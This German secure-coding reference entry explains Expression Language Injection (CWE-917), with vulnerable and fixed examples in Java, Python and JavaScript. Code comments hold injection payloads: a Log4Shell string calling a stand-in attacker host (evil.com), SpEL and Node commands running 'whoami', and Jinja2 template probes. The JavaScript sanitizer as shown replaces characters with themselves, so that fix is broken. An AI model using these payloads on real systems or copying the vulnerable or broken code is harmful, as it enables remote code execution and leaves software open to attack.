Unsachgemäße Neutralisierung spezieller Elemente in einer Expression-Language-Anweisung ('Expression Language Injection')
Beschreibung
Expression Language Injection tritt auf, wenn Software Expression-Language (EL)-Anweisungen unter Verwendung extern beeinflusster Eingaben konstruiert, ohne spezielle Elemente ordnungsgemäß zu neutralisieren, die die beabsichtigte Anweisung vor der Ausführung modifizieren könnten. Expression Languages sind eingebettete Skriptsprachen, die in vielen Frameworks verwendet werden, um dynamische Inhalte innerhalb ansonsten statischer Templates zu ermöglichen. Wenn Benutzereingaben ohne ordnungsgemäße Sanitisierung in EL-Ausdrücke eingebunden werden, können Angreifer bösartige Ausdrücke einschleusen, die beliebigen Code ausführen, sensible Daten lesen oder das Anwendungsverhalten manipulieren. Diese Schwachstelle ist besonders gefährlich, weil Entwickler möglicherweise nicht erkennen, dass bestimmte Platzhalter oder Syntaxelemente ausführbar sind.
Risiko
EL Injection kann zu schwerwiegenden Sicherheitskompromittierungen führen. Angreifer können beliebigen Code auf dem Server ausführen und möglicherweise die volle Kontrolle über die Anwendung und das zugrunde liegende System erlangen. Sensible Daten einschließlich Konfigurationswerten, Umgebungsvariablen und internem Anwendungsstatus können zugegriffen und exfiltriert werden. In Java-Umgebungen können Angreifer jede zugängliche Methode aufrufen, einschließlich Runtime.exec() zur Befehlsausführung. Die Schwachstelle ist besonders gefährlich in Logging-Frameworks (wie durch Log4Shell demonstriert), wo scheinbar harmlose Log-Nachrichten Remote-Code-Ausführung auslösen können. Template-Engines, serverseitige Rendering-Frameworks und jedes System, das Ausdrücke aus Benutzereingaben auswertet, sind potenzielle Ziele.
Lösung
Deaktivieren Sie die Expression-Language-Auswertung, wo sie nicht benötigt wird. Sanitisieren Sie alle Benutzereingaben, bevor Sie sie in Ausdrücke einbinden, indem Sie Sonderzeichen escapen. Verwenden Sie parametrisierte APIs anstelle von String-Konkatenation für die Ausdruckskonstruktion. Implementieren Sie strikte Eingabevalidierung mit Allowlists. Konfigurieren Sie Template-Engines, um sichere Modi zu verwenden, die Code-Ausführung verhindern. Überwachen und patchen Sie bekannte Schwachstellen in Expression-Language-Implementierungen. Implementieren Sie Defense-in-Depth, indem Sie einschränken, welche Klassen und Methoden durch Ausdrücke zugänglich sind. Verwenden Sie Security Manager oder Sandboxing, wo verfügbar.
Häufige Auswirkungen
| Auswirkung | Details |
|---|---|
| Vertraulichkeit | Bereich: Vertraulichkeit Anwendungsdaten lesen - Angreifer können durch Ausdrucksauswertung auf sensible Daten zugreifen, einschließlich Konfigurations- und Umgebungsvariablen. |
| Integrität | Bereich: Integrität Unautorisierten Code oder Befehle ausführen - EL-Injection ermöglicht beliebige Code-Ausführung auf dem Server. |
| Verfügbarkeit | Bereich: Verfügbarkeit DoS: Absturz/Beenden/Neustart - Bösartige Ausdrücke können die Anwendung zum Absturz bringen oder Ressourcen verbrauchen. |
Beispielcode
Anfälliger Code
// Anfällig: Log4j JNDI-Injection (Log4Shell - CVE-2021-44228)
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class VulnerableLogging {
private static final Logger logger = LogManager.getLogger();
public void handleRequest(HttpServletRequest request) {
String userAgent = request.getHeader("User-Agent");
// Anfällig: Benutzereingabe in Log-Nachricht mit Ausdrucksauswertung
logger.info("Request from: " + userAgent);
// Angriff: User-Agent: ${jndi:ldap://evil.com/exploit}
// Log4j wertet den Ausdruck aus und führt JNDI-Lookup durch
// Server des Angreifers gibt bösartiges serialisiertes Objekt zurück
// -> Remote Code Execution
}
}
// Anfällig: Spring Framework SpEL-Injection
@Controller
public class VulnerableController {
@GetMapping("/greeting")
public String greeting(@RequestParam String name, Model model) {
// Anfällig: Benutzereingabe in SpEL-Ausdruck
ExpressionParser parser = new SpelExpressionParser();
String expression = "'" + name + "'";
// Anfällig: Direkte Auswertung von Benutzereingaben
Expression exp = parser.parseExpression(expression);
String result = exp.getValue(String.class);
model.addAttribute("greeting", "Hello, " + result);
return "greeting";
}
}
// Angriff: name=T(java.lang.Runtime).getRuntime().exec('whoami')
# Anfällig: Jinja2 Template Injection
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def vulnerable_greet():
name = request.args.get('name', 'World')
# Anfällig: Benutzereingabe im Template-String
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
# Angriff: name={{config}} enthüllt Flask-Konfiguration
# Angriff: name={{''.__class__.__mro__[1].__subclasses__()}} listet Klassen
// Anfällig: JavaScript Template-Literal-Injection
const express = require('express');
const app = express();
app.get('/welcome', (req, res) => {
const name = req.query.name;
// Anfällig: Benutzereingabe im Template mit eval ausgewertet
const template = `Hello, ${name}!`;
const result = eval('`' + template + '`');
res.send(result);
});
// Angriff: name=${require('child_process').execSync('whoami')}
Korrigierter Code
// Korrigiert: Aktualisiertes Log4j mit Mitigation
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class FixedLogging {
private static final Logger logger = LogManager.getLogger();
public void handleRequest(HttpServletRequest request) {
String userAgent = request.getHeader("User-Agent");
// Korrigiert: Parametrisiertes Logging verwenden (immer sicherer)
logger.info("Request from: {}", userAgent);
// Oder Eingabe sanitisieren
String safeUserAgent = sanitizeForLogging(userAgent);
logger.info("Request from: " + safeUserAgent);
}
private String sanitizeForLogging(String input) {
if (input == null) return "null";
// Expression-Language-Marker entfernen
return input
.replace("${", "[$]")
.replace("#{", "[#]")
.replace("%{", "[%]");
}
}
// Außerdem Log4j auf 2.17.0+ aktualisieren und setzen:
// log4j2.formatMsgNoLookups=true
// Korrigiert: Sichere SpEL-Verwendung
@Controller
public class FixedController {
@GetMapping("/greeting")
public String greeting(@RequestParam String name, Model model) {
// Korrigiert: Benutzereingabe nicht in Ausdrücken verwenden
// Direkt als Wert verwenden
String safeName = sanitizeName(name);
model.addAttribute("greeting", "Hello, " + safeName);
return "greeting";
}
private String sanitizeName(String name) {
// Validieren und sanitisieren
if (name == null || name.isEmpty()) {
return "Guest";
}
// Potenzielle SpEL-Syntax entfernen
return name.replaceAll("[^a-zA-Z0-9 ]", "");
}
}
// Wenn SpEL absolut notwendig ist, SimpleEvaluationContext verwenden
@Component
public class SafeSpelEvaluator {
public String evaluate(String expression, Object root) {
ExpressionParser parser = new SpelExpressionParser();
// Korrigiert: Eingeschränkten Auswertungskontext verwenden
EvaluationContext context = SimpleEvaluationContext
.forReadOnlyDataBinding()
.build();
Expression exp = parser.parseExpression(expression);
return exp.getValue(context, root, String.class);
}
}
# Korrigiert: Sichere Jinja2-Verwendung
from flask import Flask, request, render_template
from markupsafe import escape
app = Flask(__name__)
@app.route('/greet')
def fixed_greet():
name = request.args.get('name', 'World')
# Korrigiert: Benutzereingabe escapen
safe_name = escape(name)
# Option 1: Vordefinierte Template-Datei verwenden (sicherer)
return render_template('greet.html', name=safe_name)
# greet.html:
# <h1>Hello, {{ name }}!</h1>
# Jinja2 escaped standardmäßig automatisch in Templates
# Option 2: Wenn dynamisches Template benötigt, Sandbox-Umgebung verwenden
from jinja2 import Environment, BaseLoader
from jinja2.sandbox import SandboxedEnvironment
def safe_render(template_string, **context):
# Korrigiert: Sandbox-Umgebung verwenden
env = SandboxedEnvironment()
template = env.from_string(template_string)
return template.render(**context)
// Korrigiert: Sicheres Templating in JavaScript
const express = require('express');
const app = express();
app.get('/welcome', (req, res) => {
const name = req.query.name || 'World';
// Korrigiert: Niemals eval für Templates verwenden
// Sichere Template-Bibliothek stattdessen verwenden
const sanitizedName = sanitize(name);
// Sichere String-Konkatenation
const result = `Hello, ${sanitizedName}!`;
res.send(result);
});
function sanitize(input) {
if (typeof input !== 'string') return '';
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\$/g, '$') // Template-Injection verhindern
.replace(/`/g, '`'); // Template-Literals verhindern
}
// Besser: Richtige Template-Engine mit Auto-Escaping verwenden
const nunjucks = require('nunjucks');
nunjucks.configure({ autoescape: true });
app.get('/welcome_safe', (req, res) => {
const name = req.query.name || 'World';
res.send(nunjucks.renderString('Hello, {{ name }}!', { name }));
});
CVE-Beispiele
- CVE-2021-44228 (Log4Shell): Log4j JNDI-Lookup-Feature ermöglichte Remote-Code-Execution über Log-Nachrichten, die ${jndi:ldap://...}-Ausdrücke enthielten.
- CVE-2010-1871: JBoss Seam Framework ermöglichte EL-Injection, die zu beliebiger Code-Ausführung führte.
- CVE-2011-2730: Spring Framework SpEL-Injection-Schwachstelle.
- CVE-2017-5638: Apache Struts OGNL-Injection über Content-Type-Header.
Verwandte CWEs
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (Eltern)
- CWE-94: Improper Control of Generation of Code ('Code Injection') (verwandt)
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (verwandt)
Referenzen
- MITRE Corporation. "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement." https://cwe.mitre.org/data/definitions/917.html
- OWASP. "Expression Language Injection." https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
- Apache. "Log4j Security Vulnerabilities." https://logging.apache.org/log4j/2.x/security.html